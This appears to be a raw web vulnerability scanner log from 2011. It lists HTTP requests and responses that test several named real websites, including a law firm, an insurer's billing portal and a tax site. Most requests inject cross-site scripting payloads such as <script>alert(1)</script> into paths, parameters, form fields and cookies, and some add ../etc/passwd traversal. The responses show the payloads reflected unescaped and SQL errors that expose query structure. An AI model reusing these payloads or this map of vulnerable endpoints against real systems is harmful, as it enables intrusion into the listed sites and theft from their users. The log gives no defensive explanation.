Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=94003201.1303147760.1.1.utmcsr=PowerBlockTV|utmccn=toolsthatdrive|utmcmd=bannerad|utmcct=online; __qca=P0-154865017-1303147760079; evTracker=fc0c626fe6241db934df6d4f182a5f42; __unam=47bc96c-12f69aae8fb-5600ee4c-2; __utma=94003201.1070057693.1303147760.1303147760.1303147760.1; __utmv=94003201.|1=Internal%2520Campaign=powerline=1,2=Internal%2520Source=%2Fproducts%2Faccessories%2Finternational%2F=1,3=Internal%2520Medium=bannerad=1,4=Internal%2520Content=blackspace=1,; _chartbeat2=rr9pb9n2shhrzr4o; X-Mapping-chcfmbmj=DCDAE73D9206DA2A75313B243EFAB6EC

HTTP/1.1 404 Not Found
Server: Apache/2.2
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Date: Fri, 06 May 2011 19:18:18 GMT
Connection: Keep-Alive
Content-Length: 29469

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<
...[SNIP]...
<ul id="navonimages3b61d"><a>e7d8c4ea814">
...[SNIP]...

GET /favicon.ico7929e"><script>alert(1)</script>0cf3a3566af HTTP/1.1
Host: www.nextadvisor.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=252293142.1303691684.4.3.utmgclid=CKvepPW1tqgCFctw5QodwGjRAw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=252293142.2039271104.1303613812.1303677881.1303691684.4

HTTP/1.1 404 Not Found
Date: Fri, 06 May 2011 21:42:25 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.7e PHP/5.3.2 mod_jk/1.2.21
X-Powered-By: PHP/5.3.2
Set-Cookie: PHPSESSID=4828c9086240b05a75dc6f5945149ffa; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 11910

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Conten
...[SNIP]...
<link rel="canonical" href="http://www.nextadvisor.com/favicon.ico7929e"><script>alert(1)</script>0cf3a3566af" />
...[SNIP]...

GET /includes268aa"><script>alert(1)</script>0b9b1b103ed/javascript.php?script=../../../../../../../../../../../etc/passwd HTTP/1.1
Host: www.nextadvisor.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=252293142.1303691684.4.3.utmgclid=CKvepPW1tqgCFctw5QodwGjRAw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=252293142.2039271104.1303613812.1303677881.1303691684.4

HTTP/1.1 404 Not Found
Date: Fri, 06 May 2011 21:43:38 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.7e PHP/5.3.2 mod_jk/1.2.21
X-Powered-By: PHP/5.3.2
Set-Cookie: PHPSESSID=6286bcccdf9244b14f4c5d4e0ec8c530; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 11905

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Conten
...[SNIP]...
<link rel="canonical" href="http://www.nextadvisor.com/includes268aa"><script>alert(1)</script>0b9b1b103ed/javascript.php" />
...[SNIP]...

GET /includes61954'><img%20src%3da%20onerror%3dalert(1)>e1973efe892/javascript.php?script=../../../../../../../../../../../etc/passwd HTTP/1.1
Host: www.nextadvisor.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=252293142.1303691684.4.3.utmgclid=CKvepPW1tqgCFctw5QodwGjRAw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=252293142.2039271104.1303613812.1303677881.1303691684.4

HTTP/1.1 404 Not Found
Date: Fri, 06 May 2011 21:43:49 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.7e PHP/5.3.2 mod_jk/1.2.21
X-Powered-By: PHP/5.3.2
Set-Cookie: PHPSESSID=dd8b8adc8c3df31586ded6a4b8474fe0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 11944

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Conten
...[SNIP]...
<a href='/includes61954'><img src=a onerror=alert(1)>e1973efe892/index.php' class='nav_select'>
...[SNIP]...

GET /includes/javascript.phpc1ba3"><script>alert(1)</script>d9197f98711?script=../../../../../../../../../../../etc/passwd HTTP/1.1
Host: www.nextadvisor.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=252293142.1303691684.4.3.utmgclid=CKvepPW1tqgCFctw5QodwGjRAw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=252293142.2039271104.1303613812.1303677881.1303691684.4

HTTP/1.1 404 Not Found
Date: Fri, 06 May 2011 21:44:28 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.7e PHP/5.3.2 mod_jk/1.2.21
X-Powered-By: PHP/5.3.2
Set-Cookie: PHPSESSID=6be516bd9caff38d3bd22c4084b6a71f; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 11925

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Conten
...[SNIP]...
<link rel="canonical" href="http://www.nextadvisor.com/includes/javascript.phpc1ba3"><script>alert(1)</script>d9197f98711" />
...[SNIP]...

GET /attorneys.php?AttorneyID=59da30a<a>aabeeb049ba HTTP/1.1
Host: www.nutter.com
Proxy-Connection: keep-alive
Referer: http://www.nutter.com/attorneys.php?letter=G
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:15:25 GMT
Server: Apache/1.3.42 Ben-SSL/1.60 (Unix) PHP/4.4.9 with Suhosin-Patch
X-Powered-By: PHP/4.4.9
Content-Type: text/html
Content-Length: 9247

error: Unknown column '59da30a' in 'where clause' | 1054<BR>sql: SELECT FirstName,LastName,MiddleName,Suffix FROM attorneys WHERE AttorneyID=59da30a<a>aabeeb049baerror: Unknown column '59da30a' in 'where clause' | 1054<BR>
...[SNIP]...

GET /careers.php?CategoryID=22&CareerID=429f2f<script>alert(1)</script>c598fd7bcc0&subID=1 HTTP/1.1
Host: www.nutter.com
Proxy-Connection: keep-alive
Referer: http://www.nutter.com/careers.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:19:42 GMT
Server: Apache/1.3.42 Ben-SSL/1.60 (Unix) PHP/4.4.9 with Suhosin-Patch
X-Powered-By: PHP/4.4.9
Content-Type: text/html
Content-Length: 8570



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/2000/REC-xhtml1-20000126/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
' AND M.MediaTitle LIKE 'header%' AND M.MediaID=R1.FieldValue AND R1.TableName='_media' AND R1.KeyID=R2.KeyID AND R2.TableName='careers' AND R2.FieldValue=X.CareerID AND X.IsActive='y' AND X.CareerID=429f2f<script>alert(1)</script>c598fd7bcc0 LIMIT 1<br />
...[SNIP]...

GET /careers.php?CategoryID=224c89d<a>50084c84a3a&CareerID=4&subID=1 HTTP/1.1
Host: www.nutter.com
Proxy-Connection: keep-alive
Referer: http://www.nutter.com/careers.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:17:54 GMT
Server: Apache/1.3.42 Ben-SSL/1.60 (Unix) PHP/4.4.9 with Suhosin-Patch
X-Powered-By: PHP/4.4.9
Content-Type: text/html
Content-Length: 17264



error: Unknown column '224c89d' in 'where clause' | 1054<BR>sql: SELECT CategoryName FROM _categories WHERE CategoryID=224c89d<a>50084c84a3a
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/2000/REC-xhtml1-20000126/DTD/xhtml1-transitional.dtd">
...[SNIP]...

GET /button/?b=17de21%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef9f18bd7fce HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www.socialfollow.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=131048717.1303137471.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=131048717.787483735.1303137471.1303137471.1303137471.1

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 17:38:00 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Content-Type: text/javascript
Content-Length: 11681

<br/><b>Warning</b>:mysql_num_rows():supplied argument is not a valid MySQL result resource in<b>/var/www/vhosts/socialfollow.com/httpdocs/button/social-follow.php</b>on line<b>6</b><br/><br/><b>Warni
...[SNIP]...
uranimatedegree=(1-Math.cos((elapsed/this.effects.fade.duration)*Math.PI))/2;},setcss:function(param){for(prop in param){this.style[prop]=param[prop];}},hidemenu:function(menuid){var menu=socialfollow17de21><script>alert(1)</script>f9f18bd7fce.menusmap[menuid];clearInterval(menu.animatetimer);menu.dropmenu.setcss({visibility:'hidden',left:0,top:0});menu.shadow.setcss({visibility:'hidden',left:0,top:0});},getElementsByClass:function(targetcl
...[SNIP]...

GET /button/?b=1ae7c0%253cscript%253ealert%25281%2529%253c%252fscript%253e2621f89c37 HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www.socialfollow.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=131048717.1303137471.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=131048717.787483735.1303137471.1303137471.1303137471.1

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 17:38:01 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Content-Type: text/javascript
Content-Length: 11623

<br/><b>Warning</b>:mysql_num_rows():supplied argument is not a valid MySQL result resource in<b>/var/www/vhosts/socialfollow.com/httpdocs/button/social-follow.php</b>on line<b>6</b><br/><br/><b>Warni
...[SNIP]...
<br/>var menu1ae7c0<script>alert(1)</script>2621f89c37={divclass:'sociallinks1ae7c0<script>
...[SNIP]...

GET /button/css/?b=1e023e<a%20b%3dc>467568c8c1&n=6&socialSites=106%3Atwitter.png%7C75%3Afacebook.gif%7C169%3Asocial-follow.png%7C168%3Ablog.png%7C120%3Alinkedin.gif%7C93%3Anaymz.gif HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www.socialfollow.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=131048717.1303137471.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=131048717.787483735.1303137471.1303137471.1303137471.1

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 17:38:07 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Content-Length: 4506
Content-Type: text/css

div.sociallinks1e023e<a b=c>467568c8c1{position:absolute;left:0;top:0;visibility:hidden;display:block;padding:10px 1px 1px 1px;font:normal 12px Arial, Helvetica, sans-serif;z-index:10000;border:1px solid #cfcfd0;background:#FFFFFF;width:17
...[SNIP]...

GET /button/css/?b=1&n=6&socialSites=106%3Atwitter.png%7C75%3Afacebook.gif%7C169%3Asocial-follow.png%7C168%3Ablog.png%7C120%3Alinkedin.gif%7C93%3Anaymz.gif4946b%253cscript%253ealert%25281%2529%253c%252fscript%253e665c20ebbcd HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www.socialfollow.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=131048717.1303137471.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=131048717.787483735.1303137471.1303137471.1303137471.1

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 17:38:38 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Content-Length: 3887
Content-Type: text/css

div.sociallinks1{position:absolute;left:0;top:0;visibility:hidden;display:block;padding:10px 1px 1px 1px;font:normal 12px Arial, Helvetica, sans-serif;z-index:10000;border:1px solid #cfcfd0;background
...[SNIP]...
g) no-repeat top left;}
li a.c120{background:url(http://www.socialfollow.com/button/images/linkedin.gif) no-repeat top left;}
li a.c93{background:url(http://www.socialfollow.com/button/images/naymz.gif4946b<script>alert(1)</script>665c20ebbcd) no-repeat top left;}
#sfWrapper1 .paddingSmall, div.sociallinks1 .paddingSmall{padding-right:2px;#padding-right:0;clear: all;}
.socialFollowLink{width:100%;display:block;border:1px solid #D6D6D6;bord
...[SNIP]...

POST /login.php HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www.socialfollow.com/
Cache-Control: max-age=0
Origin: http://www.socialfollow.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=131048717.1303137471.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=131048717.787483735.1303137471.1303137471.1304721456.2; __utmc=131048717; __utmb=131048717.1.10.1304721456
Content-Length: 31

tEmail=Email7b249"><a%20b%3dc>c89c9c10125&pPassword=Password

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 17:37:57 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Set-Cookie: PHPSESSID=6ccca51566867a3f7d6e3d9b29fb826a; expires=Fri, 06 May 2011 19:37:57 GMT; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 4520
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<input name="tEmail" id="tEmail" type="text" value="Email7b249\"><a b=c>c89c9c10125" class="textBoxSize" />
...[SNIP]...

GET /Login/PopupMessage.aspx?usr=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000341)%3C/script%3E7606e<script>alert(1)</script>39ed24a8beb HTTP/1.1
Host: www.taxnotebook.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:50:29 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: SessionStateGUID=bcc55779-a955-7ea4-1e04-a89874af0406; path=/
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
Content-Length: 6745

<img src='../images/tnlogo.gif' width='96' height='23'>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
   <HEAD>
       <title>Tax Notebook</title>
       <LINK href="../Main.css" typ
...[SNIP]...
</SCRIPT>7606E<SCRIPT>ALERT(1)</SCRIPT>39ED24A8BEB was successfully
                                   created. Log in with this user ID after you have disabled your pop-up blocker
                                   for Tax Notebook.</B>
...[SNIP]...

GET /appshandler.php?ac=1&pid=0&NS_sw=1920&NS_sh=1200&NS_sc=16 HTTP/1.1
Host: apps.sapha.com
Proxy-Connection: keep-alive
Referer: http://www.sapha.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sapha_tst_2546=TRUE; sapha_2546_1=62715%7C35764%7C31540%7C2011-04-22+15%3A37%3A56; sapha_tst_1=TRUE; sapha_1_19=110075%7C2676569%7C2668748%7C2011-05-06+16%3A05%3A3315ddd'%3balert(1)//7d0c369cb36

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:06:17 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: application/x-javascript
Content-Length: 26970

var lastpageview_ID='110075';var lastvisit_ID='2676569';var lastvisitor_ID='2668748';var lastvisit_datetime='2011-05-06 16:05:3315ddd';alert(1)//7d0c369cb36';if(typeof(SCS)=="undefined"){SCS={}}SCS.DOMUtilities=function(){this.addEvent=function(element,event,handler){try{if(element.attachEvent){element.attachEvent("on"+event,handler)}else{if(element.addEv
...[SNIP]...

GET /appshandler.php?ac=2546&pid=0&NS_sw=1920&NS_sh=1200&NS_sc=16 HTTP/1.1
Host: apps.sapha.com
Proxy-Connection: keep-alive
Referer: http://tours.sapha.com/?scs_sid=2546&scs_tid=25&scscs=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sapha_tst_2546=TRUE; sapha_tst_1=TRUE; sapha_1_19=110075%7C2676569%7C2668748%7C2011-05-06+16%3A05%3A33; sapha_2546_1=68004%7C40411%7C31540%7C2011-05-06+16%3A06%3A08a33f9'%3balert(1)//1878ce9c764

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:06:53 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: application/x-javascript
Content-Length: 20423

var lastpageview_ID='68004';var lastvisit_ID='40411';var lastvisitor_ID='31540';var lastvisit_datetime='2011-05-06 16:06:08a33f9';alert(1)//1878ce9c764';function loadDomUtils(){if(document.getElementsByClassName==undefined){document.getElementsByClassName=function(B,A){if(A==null){A="*"}var F=new RegExp("(?:^|\\s)"+B+"(?:$|\\s)");var G=document.getEl
...[SNIP]...

GET /billing_view/billingview.asp?policynumber=&Submit=Submit&zipcode= HTTP/1.1
Referer: http://hmficweb.hinghammutual.com/billing_view/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: hmficweb.hinghammutual.com
Cookie: HinghamLoginError=Please+fill+in+all+valuesbfa5c<script>alert(1)</script>ed54c81a19634ed6d; ASPSESSIONIDSQCDDDAA=HPHJKIBCNPBPFKFPCLEPAMCN; ASP.NET_SessionId=kvicvmmhrzmxk4i3unxfj445
Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 17:36:46 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 3987
Content-Type: text/html
Set-Cookie: HinghamLoginError=; path=/billing_view
Cache-control: private

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<HTML>
<HEAD>
<TITLE>The Hingham Group - Billing Details Access</TITLE>

...[SNIP]...
<span class="errormsg">Please fill in all valuesbfa5c<script>alert(1)</script>ed54c81a19634ed6d</span>
...[SNIP]...

GET /billing_view/billingview.asp HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: hmficweb.hinghammutual.com
Cookie: HinghamLoginError=Please+fill+in+all+values8da1d<script>alert(1)</script>920fa6b6144; ASPSESSIONIDSQCDDDAA=HOHJKIBCIBNGKPBKEMJGNONB
Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 17:35:50 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 3981
Content-Type: text/html
Set-Cookie: HinghamLoginError=; path=/billing_view
Cache-control: private

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<HTML>
<HEAD>
<TITLE>The Hingham Group - Billing Details Access</TITLE>

...[SNIP]...
<span class="errormsg">Please fill in all values8da1d<script>alert(1)</script>920fa6b6144</span>
...[SNIP]...

GET /billing_view/login.asp HTTP/1.1
Referer: http://hmficweb.hinghammutual.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: hmficweb.hinghammutual.com
Cookie: HinghamLoginError=Please+fill+in+all+valuesadd2b<script>alert(1)</script>2a9b96c27c1; ASPSESSIONIDSQCDDDAA=HPHJKIBCNPBPFKFPCLEPAMCN; ASP.NET_SessionId=kvicvmmhrzmxk4i3unxfj445
Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 17:36:22 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 3981
Content-Type: text/html
Set-Cookie: HinghamLoginError=; path=/billing_view
Cache-control: private

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<HTML>
<HEAD>
<TITLE>The Hingham Group - Billing Details Access</TITLE>

...[SNIP]...
<span class="errormsg">Please fill in all valuesadd2b<script>alert(1)</script>2a9b96c27c1</span>
...[SNIP]...

GET /getSegment.php?purl=http%3A%2F%2Fwww.compliancepoint.com%2Fsub_serv_isc_pci.asp%3Fgclid%3DCJu4wszV1KgCFQ075QodRCyFgQ&jsref=&rnd=1304748975273 HTTP/1.1
Host: seg.sharethis.com
Proxy-Connection: keep-alive
Referer: http://www.compliancepoint.com/sub_serv_isc_pci.asp?gclid=CJu4wszV1KgCFQ075QodRCyFgQ
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __stid=CspT702sdV9LL0aNgCmJAg==76c83<script>alert(1)</script>87b9dc254bf; __switchTo5x=64; __utmz=79367510.1303478681.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __unam=8f891fa-12f7d623a1f-609dccbc-23; __utma=79367510.1475296623.1303478681.1303478681.1303478681.1

HTTP/1.1 200 OK
Server: nginx/0.8.47
